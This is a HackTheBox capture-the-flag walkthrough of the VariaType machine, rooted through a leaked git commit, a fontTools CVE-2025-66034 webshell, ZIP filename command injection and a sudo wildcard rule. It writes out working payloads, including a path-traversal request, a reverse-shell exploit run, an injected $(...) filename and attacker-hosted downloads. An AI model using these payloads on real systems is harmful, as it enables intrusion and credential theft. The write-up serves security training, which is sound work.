HackTheBox: VariaType — Git History Leak, CVE-2025-66034 fontTools RCE & Sudo Privesc to Root
HackTheBox2026-03-28

HackTheBox: VariaType — Git History Leak, CVE-2025-66034 fontTools RCE & Sudo Privesc to Root

Introduction

Welcome back to another deep-dive walkthrough. Today we're tackling VariaType, a medium-difficulty Linux machine from HackTheBox. This one is a really satisfying chain that builds on itself at every step:

  • Nmap to find SSH and an HTTP service redirecting to a virtual host
  • ffuf subdomain brute-force to find portal.variatype.htb
  • Exposed .git directory dumped with git-dumper
  • Git history analysis to recover hardcoded credentials from a deleted commit
  • Directory traversal in download.php to confirm LFI and read /etc/passwd
  • CVE-2025-66034 in fontTools.varLib for arbitrary file write and RCE
  • ZIP filename injection in a FontForge scheduled task to plant an SSH key as steve
  • Misconfigured sudo rule on a Python script to write our key into /root/.ssh/authorized_keys

Let's get into it.

1. Enumeration & Reconnaissance

Nmap Scan

Starting with an aggressive Nmap scan to identify services and OS fingerprints:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $sudo nmap -A 10.129.16.179
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-28 11:21 IST
Nmap scan report for 10.129.16.179
Host is up (0.31s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
|_  256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/

Two open ports: 22 (SSH) on OpenSSH 9.2p1 Debian and 80 (HTTP) on nginx 1.22.1. The web service immediately redirects to variatype.htb, so we need to set up host resolution before we can interact with the application.

PortServiceNotes
22SSHOpenSSH 9.2p1 — needs credentials
80HTTPnginx 1.22.1 — redirects to virtual host

Host Resolution Setup

Add the main domain to /etc/hosts:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $echo "10.129.16.179 variatype.htb" | sudo tee -a /etc/hosts
10.129.16.179 variatype.htb

Subdomain Enumeration

With the main domain resolving, we use ffuf to brute-force virtual hosts and find any additional subdomains:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Projects/sd-blast]
└──╼ $ffuf -u http://10.129.16.179/ \
-H "Host: FUZZ.variatype.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
-fc 301 -fs 169

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

:: Results ::
portal                  [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 325ms]

Subdomain found: portal.variatype.htb. Add it to hosts:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $echo "10.129.16.179 portal.variatype.htb" | sudo tee -a /etc/hosts
10.129.16.179 portal.variatype.htb

2. Web Enumeration & Git Repository Exposure

Directory Brute-Force on the Portal

Now that portal.variatype.htb resolves, we fuzz for hidden paths:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $ffuf -u http://portal.variatype.htb/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt -fc 404

.git/HEAD               [Status: 200, Size: 23, Words: 2, Lines: 2, Duration: 322ms]
.git/index              [Status: 200, Size: 137, Words: 2, Lines: 2, Duration: 321ms]
.git/config             [Status: 200, Size: 143, Words: 14, Lines: 9, Duration: 322ms]
.git/logs/              [Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 322ms]
.git                    [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 1271ms]
files                   [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 296ms]
index.php               [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 307ms]

The .git directory is publicly accessible. This is a critical information disclosure — the full source code history could be retrievable.

Dumping the Exposed Repository

We use git-dumper to reconstruct the repository from the exposed files:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $git-dumper http://portal.variatype.htb/.git git-repo
[-] Testing http://portal.variatype.htb/.git/HEAD [200]
[-] Fetching common files
[-] Fetching http://portal.variatype.htb/.git/COMMIT_EDITMSG [200]
...
[-] Fetching http://portal.variatype.htb/.git/objects/6f/021da6be7086f2595befaa025a83d1de99478b [200]
[-] Fetching http://portal.variatype.htb/.git/objects/50/30e791b764cb2a50fcb3e2279fea9737444870 [200]
[-] Running git checkout .

The repository is reconstructed locally. Let's look at what was dumped:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Downloads/git-repo]
└──╼ $ls -la
total 4
drwxrwxr-x 1 g4rxd g4rxd  24 Mar 28 11:45 .
drwx------ 1 g4rxd g4rxd 616 Mar 28 11:45 ..
-rw-rw-r-- 1 g4rxd g4rxd  36 Mar 28 11:45 auth.php
drwxrwxr-x 1 g4rxd g4rxd 146 Mar 28 11:45 .git

Just auth.php in the working tree. The current file shows an empty $USERS array — but that's the cleaned-up version. Time to dig into history.

3. Git History Analysis & Credential Recovery

Reviewing Commit History

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Downloads/git-repo]
└──╼ $git log --oneline --all
753b5f5 (HEAD -> master) fix: add gitbot user for automated validation pipeline
5030e79 feat: initial portal implementation

The most recent commit message says "fix: add gitbot user" — that's interesting. Let's also check for unreachable commits that may have been deleted:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Downloads/git-repo]
└──╼ $git fsck --no-reflog --full --unreachable | grep commit
Checking object directories: 100% (256/256), done.
unreachable commit 6f021da6be7086f2595befaa025a83d1de99478b

There's an unreachable commit. This is exactly what git fsck is for — it finds orphaned objects that aren't reachable from any branch or tag. Let's see what's inside:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Downloads/git-repo]
└──╼ $git show 6f021da6be7086f2595befaa025a83d1de99478b
commit 6f021da6be7086f2595befaa025a83d1de99478b
Author: Dev Team <dev@variatype.htb>
Date:   Fri Dec 5 15:59:48 2025 -0500

    security: remove hardcoded credentials

diff --git a/auth.php b/auth.php
index b328305..615e621 100644
--- a/auth.php
+++ b/auth.php
@@ -1,5 +1,3 @@
 <?php
 session_start();
-$USERS = ['gitbot' => 'G1tB0t_Acc3ss_2025!'
-];
+$USERS = [];

The developer tried to remove credentials but forgot that git history is immutable. We have credentials: gitbot : G1tB0t_Acc3ss_2025!

4. Authentication & Directory Traversal

Authenticating to the Portal

Using the recovered credentials to authenticate and grab a session cookie:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Downloads/git-repo]
└──╼ $curl -s -X POST http://portal.variatype.htb/ \
-d "username=gitbot" -d "password=G1tB0t_Acc3ss_2025!" \
-c cookies.txt -L

Extract the session cookie:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Downloads/git-repo]
└──╼ $cat cookies.txt
portal.variatype.htb    FALSE   /       FALSE   0       PHPSESSID   nh7d8gq972mofqe5om9ipf737r

Exploiting Directory Traversal in download.php

The portal has a download.php endpoint. Testing it with a path traversal payload:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Downloads/git-repo]
└──╼ $curl -s -b "PHPSESSID=nh7d8gq972mofqe5om9ipf737r" \
"http://portal.variatype.htb/download.php?f=....//....//....//....//....//....//etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
steve:x:1000:1000:steve,,,:/home/steve:/bin/bash
variatype:x:102:110::/nonexistent:/usr/sbin/nologin
_laurel:x:999:996::/var/log/laurel:/bin/false

We can read arbitrary files. We now have a valid user: steve on the system. While useful for reconnaissance, this LFI rabbit hole doesn't give us code execution — we need to look elsewhere.

5. Foothold: CVE-2025-66034 — fontTools Arbitrary File Write & RCE

The Vulnerability

Further enumeration reveals a variable font generator at http://variatype.htb/tools/variable-font-generator/process. This endpoint uses fontTools.varLib to process .designspace files — and it's vulnerable to CVE-2025-66034, an arbitrary file write flaw through XML injection in the CDATA section combined with an output_dir path bypass via os.path.join().

Exploit: CVE-2025-66034

I wrote a custom exploit that:

  1. Generates two minimal TTF master fonts
  2. Crafts a malicious .designspace file embedding a PHP webshell in a CDATA block
  3. Sets the output path to an absolute web-accessible location — bypassing the output_dir restriction
  4. Uploads everything and triggers the shell
TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $python3 exploit.py \
  --ip 10.10.14.25 \
  --port 4444 \
  --upload http://variatype.htb/tools/variable-font-generator/process \
  --webroot /var/www/portal.variatype.htb/public/files \
  --shell http://portal.variatype.htb/files

 ██╗  ██╗███╗  ██╗██╗   ██╗██╗  ██╗██████╗
 ██║  ██║████╗ ██║██║   ██║╚██╗██╔╝██╔══██╗
 ███████║██╔██╗██║██║   ██║ ╚███╔╝ ██║  ██║
 ╚════██║██║╚████║██║   ██║ ██╔██╗ ██║  ██║
      ██║██║ ╚███║╚██████╔╝██╔╝╚██╗██████╔╝
      ╚═╝╚═╝  ╚══╝ ╚═════╝ ╚═╝  ╚═╝╚═════╝
 by 4nuxd
 CVE-2025-66034  ·  Arbitrary Upload → RCE

target    http://variatype.htb/tools/variable-font-generator/process
webroot   /var/www/portal.variatype.htb/public/files
shell     http://portal.variatype.htb/files

GENERATING MASTER FONTS
[+] source-light.ttf     (w=100)
[+] source-regular.ttf  (w=400)

PAYLOAD
[*] Shell name  : f0nt_pqfk1ypz.php
[*] Write path  : /var/www/portal.variatype.htb/public/files/f0nt_pqfk1ypz.php
[*] Trigger URL : http://portal.variatype.htb/files/f0nt_pqfk1ypz.php

UPLOADING
[+] Server response: HTTP 200

LISTENER  //  TRIGGER
[*] Listening on 0.0.0.0:4444
[*] Triggering shell: http://portal.variatype.htb/files/f0nt_pqfk1ypz.php
Connection received on 10.129.244.202 56592
www-data@variatype:~/portal.variatype.htb/public/files$

We have a shell as www-data. Stabilise it:

TERMINAL_CODE
www-data@variatype:~$ python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm; stty rows 66 cols 236
www-data@variatype:~/portal.variatype.htb/public/files$

6. Lateral Movement: ZIP Filename Injection to Plant SSH Key as steve

Generating an SSH Key Pair

Rather than work from an unstable web shell, we set up a proper SSH key for steve:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $ssh-keygen -t ed25519 -f steve_key -N ""

Crafting the Malicious ZIP Archive

There's a scheduled task (likely FontForge) that processes ZIP archives uploaded to the portal. It unsafely passes the filename to a shell command. We embed our SSH public key injection directly inside the filename using command substitution:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $cat ok.py
import zipfile, os

pubkey = open("steve_key.pub").read().strip()
filename = f"$(mkdir -p /home/steve/.ssh && echo '{pubkey}' >> /home/steve/.ssh/authorized_keys && chmod 700 /home/steve/.ssh && chmod 600 /home/steve/.ssh/authorized_keys).ttf"

with zipfile.ZipFile("evil.zip", "w") as z:
    z.writestr(filename, "AAAA")

print(f"[+] evil.zip created")

┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $python3 ok.py
[+] evil.zip created
[*] payload filename: $(mkdir -p /home/steve/.ssh && echo 'ssh-ed25519 AAAAC3NzaC1...

Delivering the Payload

Serve the archive from our machine:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 ...
10.129.244.202 - - [28/Mar/2026 13:45:14] "GET /evil.zip HTTP/1.1" 200 -

Fetch it from the web shell on the target:

TERMINAL_CODE
www-data@variatype:~/portal.variatype.htb/public/files$ wget http://10.10.14.25:8000/evil.zip
evil.zip saved [598/598]
www-data@variatype:~/portal.variatype.htb/public/files$

With the ZIP placed in the web files directory, the scheduled task picks it up. The filename's embedded shell command fires during processing, writing our public key into /home/steve/.ssh/authorized_keys.

7. User Access & Flag Retrieval

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $ssh -i steve_key steve@10.129.244.202
Linux variatype 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64
Last login: Sat Mar 28 04:24:25 2026 from 10.10.14.25
steve@variatype:~$ whoami
steve
steve@variatype:~$ cat user.txt
780f769dd2ce41e3ae17eb774a25e9cc

🏁 User Flag: 780f769dd2ce41e3ae17eb774a25e9cc

8. Privilege Escalation Enumeration

Check sudo permissions:

TERMINAL_CODE
steve@variatype:~$ sudo -l
Matching Defaults entries for steve on variatype:
    env_reset, mail_badpass, use_pty

User steve may run the following commands on variatype:
    (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

Steve can run a Python script as root with arbitrary arguments (the * wildcard). This script fetches a URL and writes the response to a file — the destination is derived from the URL path. That means we can control both the content and the destination path.

9. Privilege Escalation to Root

Generate a Root SSH Key

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $ssh-keygen -t rsa -b 4096 -f id_rsa -N ""
Generating public/private rsa key pair.
Your identification has been saved in id_rsa
Your public key has been saved in id_rsa.pub
SHA256:K0sn619/NeUCmGcIGU06rQoQGvgJU8g+bI4ezZoS3ek g4rxd@parrot

Host the Public Key via a Custom HTTP Server

The script fetches whatever URL is passed and writes the response to the path portion of the URL. We serve our RSA public key from a minimal HTTP server that returns the content regardless of the requested path:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $cat server.py
from http.server import HTTPServer, BaseHTTPRequestHandler
import sys

class MinimalHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        with open("id_rsa.pub", "rb") as f:
            content = f.read()
        self.send_response(200)
        self.send_header('Content-type', 'text/plain')
        self.end_headers()
        self.wfile.write(content)
        print(f"[*] Served payload to {self.client_address[0]}")

port = int(sys.argv[1]) if len(sys.argv) > 1 else 8000
print(f"[+] Server listening on port {port}...")
HTTPServer(('0.0.0.0', port), MinimalHandler).serve_forever()

┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $python3 server.py 8000
[+] Server listening on port 8000...

Exploit the Privileged Script

From the steve shell, invoke the sudo-permitted script with a URL where the path is /root/.ssh/authorized_keys. The script faithfully downloads our public key and writes it there as root:

TERMINAL_CODE
steve@variatype:~$ sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
"http://10.10.14.25:8000/%2Froot%2F.ssh%2Fauthorized_keys"
2026-03-28 04:39:43,275 [INFO] Attempting to install plugin from: http://10.10.14.25:8000/%2Froot%2F.ssh%2Fauthorized_keys
2026-03-28 04:39:43,280 [INFO] Downloading http://10.10.14.25:8000/%2Froot%2F.ssh%2Fauthorized_keys
2026-03-28 04:39:43,832 [INFO] Plugin installed at: /root/.ssh/authorized_keys
[+] Plugin installed successfully.

Our server confirms the hit:

TERMINAL_CODE
[*] Served payload to 10.129.244.202

SSH in as Root

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $ssh -i id_rsa root@10.129.244.202
Linux variatype 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64
Last login: Sat Mar 28 04:39:57 2026 from 10.10.14.25
root@variatype:~# whoami
root
root@variatype:~# cat root.txt
[Redacted]

🏁 Root Flag: [Redacted]

Attack Chain Summary

TERMINAL_CODE
Nmap Scan
   ↓
ffuf Subdomain Brute-Force → portal.variatype.htb
   ↓
ffuf Directory Scan → /.git exposed
   ↓
git-dumper → Reconstruct Repository
   ↓
git fsck → Unreachable Commit
   ↓
git show → Hardcoded Credentials (gitbot:G1tB0t_Acc3ss_2025!)
   ↓
Authenticate to Portal → Session Cookie
   ↓
Directory Traversal (download.php) → /etc/passwd → user: steve
   ↓
CVE-2025-66034 (fontTools varLib XML injection) → PHP Webshell Write
   ↓
Web Shell RCE as www-data
   ↓
Malicious ZIP (filename cmd injection) → SSH Key Planted as steve
   ↓
SSH as steve → user.txt
   ↓
sudo -l → NOPASSWD Python install_validator.py *
   ↓
Serve RSA Public Key → Script writes to /root/.ssh/authorized_keys
   ↓
SSH as root → root.txt

Summary & Takeaways

StepTechniqueTool
ReconAggressive Nmap scannmap
Subdomain DiscoveryVirtual host fuzzingffuf
Info DisclosureExposed .git directorygit-dumper
Credential RecoveryUnreachable git commitgit fsck, git show
AuthenticationRecovered portal credentialscurl
File ReadDirectory traversal in download.phpcurl
RCECVE-2025-66034 XML injection in fontToolscustom exploit
Lateral MovementZIP filename command injectionpython3
PrivescMisconfigured sudo Python scriptssh-keygen, HTTP server

VariaType is a clean demonstration of how a single exposed .git directory can unravel an entire application. The CVE-2025-66034 exploitation is interesting because it abuses os.path.join()'s behaviour with absolute paths — if the second argument is absolute, it silently discards everything before it, bypassing any output_dir restriction the server tries to enforce. The ZIP filename injection is a creative persistence technique, and the final sudo abuse is a good reminder to always restrict wildcards in sudo rules.

Key lessons:

  • Never deploy with .git exposed — add /\.git to your nginx deny rules and confirm it in every environment before launch.
  • Git history is permanent — removing credentials with a new commit does not erase them from history. Use git filter-repo or BFG Repo Cleaner and rotate the credentials immediately.
  • Wildcards in sudo rules are dangerousinstall_validator.py * gives the user full control over script arguments, which is enough to pivot to arbitrary file writes as root.
  • ZIP extraction is a code execution event — any service that processes ZIP files must sanitise filenames before passing them to a shell.

If you have questions or want to discuss the CVE-2025-66034 exploit technique in more detail, feel free to reach out on Twitter / X or hop into the interactive terminal on this site!

Machine Pwned. 🏁

Disseminate_Intel:
Tags
##HTB##VariaType##CVE-2025-66034##fontTools##GitExposure##ZipInjection##SudoPrivesc##Season10

Transmission Complete

If you found this writeup helpful, feel free to reach out for collaborations or security discussions.

INITIATE_CONTACT